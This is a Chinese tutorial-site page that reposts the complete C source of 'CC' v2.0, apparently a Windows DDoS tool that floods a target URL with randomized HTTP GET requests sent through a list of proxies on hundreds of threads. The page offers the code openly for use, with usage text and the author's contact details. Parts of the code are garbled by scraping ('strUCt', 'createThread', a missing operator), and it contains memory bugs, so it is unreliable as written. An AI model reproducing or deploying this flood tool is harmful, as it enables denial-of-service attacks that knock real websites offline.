原代码,CPD的原代码

CPD的原代码 - 网络安全 - 电脑教程网

CPD的原代码

日期:2007-09-24   荐:
#include <winsock.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#pragma comment(lib,"wsock32")
#define WAVERS MAKEWord(2,0)
#define DEF_DELAY 5
#define DEF_FILE "cc.txt"
#define DEF_THREAD 300
#define DEF_MAXSEND 10000
#define DEF_REF "http://www.n-ku.com/blog/blog.asp?name=bigboyq"
#define VER "2.0"
strUCt Sproxy
{
char host[128];
int port;
struct Sproxy *next;
};
struct Sproxy *pnow;
struct Sproxy *head;
struct Sproxy *last;
int mThread,nThread,stop,bh,bc;
char *hostip=NULL,*refer=NULL,*hosts=NULL,*cook;
FILE *fp;
long int sendcount,lastcount;
HANDLE hMutex = NULL;
void usage(char* p)
{
printf("[+] New DDOS Tool CC v%s\n",VER);
printf("[+] Welcome everyone to Visit http://www.n-ku.com/blog/blog.asp?name=bigboyq\n");
printf("[+] More Support Please Contact QQ:167110 or E-mail:[email protected]\n");
printf("[+] USAGE:%s [OPTION]\n",p);
printf("[+] [-c <COOKIE>] Cookie of HTTP to Use\n");
printf("[+] [-d <Delay>] Set Time to Delay DEFAULT:%d\n",DEF_DELAY);
printf("[+] [-f <ProxyFile>] Load Proxy From File DEFAULT:%s\n",DEF_FILE);
printf("[+] [-m <MaxSend>] Set a Value that you want to Send DEFAULT:%d\n",DEF_MAXSEND);
printf("[+] [-r <Refer>] Refer of HTTP Refer\n[+] DEFAULT:%s\n",DEF_REF);
printf("[+] [-s <HOST>] HOST of HTTP\n");
printf("[+] [-t <Thread>] Set Thread to Use DEFAULT:%d\n",DEF_THREAD);
printf("[+] <-h <HTTPURL>> HTTP Request,you must Start with http://\n");
printf("[+] EASYUSAGE:%s <-h HTTPURL>\n",p);
}
void ProcExit()
{
//发消息让线程停止
stop=1;
printf("[+] Begin Exit,Please Wait Thread to End...\n");
//等待线程停止
while(nThread>0)
Sleep(2000);
//释放代理列表
pnow=head;
pnow=last;
pnow=pnow->next;
printf("[+] Thread Exit OK!Freeing Memory...\n");
while(pnow!=head)
{
last=pnow->next;
free(pnow);
pnow=last;
}
free(pnow);
printf("[+] Program Exit Success!\n");
printf("[+] See you again!\n");
exit(1);
}
int NetInit()
{
WSADATA wsadata;
int err;
err=WSAStartup(WAVERS,&wsadata);
return err;
}
char* gethttp(int j)
{
int i,ct;
char *buf,*temp=NULL,*thost,*head=NULL;
char *rc=NULL;
char rdc[1024];
int ascs,ascw;
srand((unsigned)time( NULL )+j);

thost=(char *)malloc(1024);
buf = (char *)malloc(1024);
head=thost;
memset(thost,0,1024);
memset(buf,0,512);
strcpy(thost,hostip);
temp="GET ";
strcat(buf,temp);
ascs=0;ascw=0;
rc=strchr(thost,'+');
while(rc)
{
rc[0]='\0';
strcat(buf,thost);
ct=rc[2]-48;
switch(rc[1])
{
case 's':
ascs=97;
ascw=26;
break;
case 'S':
ascs=65;
ascw=26;
break;
case 'n':
case 'N':
ascs=48;
ascw=10;
break;
}
for(i=0;i<ct;i++)
rdc[i]=(char)(ascs+rand()%ascw);
rdc[ct]='\0';
strcat(buf,rdc);
thost=&rc[3];
rc=strchr(thost,'+');
}
strcat(buf,thost);
temp=" HTTP/1.1\r\n";
strcat(buf,temp);
temp="Accept: */*\r\nReferer: ";
strcat(buf,temp);
strcat(buf,refer);
temp="\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0; .NET CLR 1.1.4322)\r\n";
strcat(buf,temp);
if (bh==1)
{
temp="HOST: ";
strcat(buf,temp);
strcat(buf,hosts);
temp="\r\n";
strcat(buf,temp);
}
if (bc==1)
{
temp="Cookie: ";
strcat(buf,temp);
strcat(buf,cook);
temp="\r\n";
strcat(buf,temp);
}
temp="Proxy-Connection: Keep-Alive\r\n\r\n";
strcat(buf,temp);
free(head);
free(temp);
return buf;
}
DWORD WINAPI Flood(LPVOID i)
{
char buf[512];
int err;
char *fhost=NULL;
sockaddr_in sin;
SOCKET sock;
WaitForSingleObject(hMutex,INFINITE);
nThread++;
ReleaseMutex(hMutex);
while(stop==1)
{
Sleep(1000);
}
while(stop==0)
{
//这样锁?
WaitForSingleObject(hMutex,INFINITE);
pnow=pnow->next;
sin.sin_port=htons(pnow->port);
sin.sin_addr.s_addr=inet_addr(pnow->host);
memset(buf,0,512);
fhost=gethttp((int)i);
strcat(buf,fhost);
free(fhost);
ReleaseMutex(hMutex);
sin.sin_family=AF_INET;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==INVALID_SOCKET)
{
printf("[-] Thread create SOCK Failed\n");
return 0;
}
if (connect(sock,(sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
}
else
{
WaitForSingleObject(hMutex,INFINITE);
sendcount++;
ReleaseMutex(hMutex);
err=send(sock,buf,sizeof(buf),0);
}
closesocket(sock);
}
WaitForSingleObject(hMutex,INFINITE);
nThread--;
ReleaseMutex(hMutex);
free(buf);
return 1;
}
int main(int argc, char *argv[])
{
int i,ti,delay;
long int maxsend;
char *filename=NULL;
char fdata[128];
char mao=':';
char *mp;
/*
hosts="www.n-ku.com";
refer="www.fz.fj.cn";
hostip="http://www.fz.fj.cn/list.asp?id=+s1+n1+S1";
printf("%s\n",gethttp(1));
return 1;
*/
bh=0;bc=0;
if(argc < 3)
{
printf("[-] Need Option!!!\n");
usage(argv[0]);
return 1;
}
mThread=DEF_THREAD;
filename=DEF_FILE;
delay=DEF_DELAY;
maxsend=DEF_MAXSEND;
refer=DEF_REF;
for(i=1;i<argc;i+=2)
{
if(strlen(argv[i]) != 2)
{
printf("[-] Option Unknow!!!\n");
usage(argv[0]);
return 1;
}
// check parameter
if(i == argc-1)
{
printf("[-] Option Error!!!\n");
usage(argv[0]);
return 1;
}
switch(argv[i][1])
{
case 'h':
hostip = argv[i+1];
break;
case 'd':
delay = atoi(argv[i+1]);
break;
case 't':
mThread = atoi(argv[i+1]);
break;
case 'f':
filename = argv[i+1];
break;
case 'm':
maxsend = atoi(argv[i+1]);
break;
case 'r':
refer=argv[i+1];
break;
case 's':
hosts=argv[i+1];
bh=1;
break;
case 'c':
cook=argv[i+1];
bc=1;
break;
}
}
if(hostip == NULL)
{
printf("[-] Please Enter HTTP URL!\r\n");
return 1;
}
if (mThread<1mThread>1900)
{
printf("[-] Thread [%d] must Between [1-1900]\n",mThread);
return 1;
}
fp=fopen(filename, "r");
if(fp==NULL)
{
printf("[-] Filename [%s] open Failed!\n",filename);
return 1;
}
//读取代理部分
memset(fdata,0,128);
pnow=(struct Sproxy*)malloc(sizeof(struct Sproxy));
head=pnow;
last=pnow;
while(fscanf(fp,"%s",fdata)!=-1)
{
pnow=(struct Sproxy*)malloc(sizeof(struct Sproxy));
memset(pnow->host,0,128);
last->next=pnow;
last=pnow;
mp=strrchr(fdata,mao);
mp[0]='\0';
strcat(pnow->host ,fdata);
mp++;
pnow->port=atoi(mp);
}
last=head;
head=head->next;
pnow->next=head;
free(last);
fclose(fp);
printf("[+] Proxy Load Success [%s]!\n",filename);
//代理读取结束,启动网络
if (NetInit()!=0)
{
printf("[-] WSAStartup Failed!\n");
return 1;
}
printf("[+] WSAStartup Success!\n[*] Wait for Threads Begin[");
//Now Begin Thread
stop=1;ti=0;
hMutex = createMutex(NULL, FALSE, NULL);
for (i=0;i<mThread;i++)
{
createThread(0, 0, Flood, (void*)i, 0, 0);
if ((i/50)*50==i)
printf(".");
}
Sleep(500);
printf("]\n[+] [%d] Threads Started!\n[+] Attacking [%s]\n",nThread,hostip);
stop=0;
Sleep(delay*1000);
while(sendcount<maxsend)
{
ti++;
printf("[+] Finish: [%d%%] C Avg.Speed: [%d] C/S Now: [%d] C/S\n",(sendcount*100)/maxsend,sendcount/(delay*ti),(sendcount-lastcount)/delay);
lastcount=sendcount;
Sleep(delay*1000);
}
ProcExit();
return 1;
}
/*Thanks to everyone's Support
if you like it,please tell me [email protected]
if you change it,please share your code
if you use this code,please keep my name
Thank you 12.31.2004
*/

(出处:http://www.sheup.com)




标签: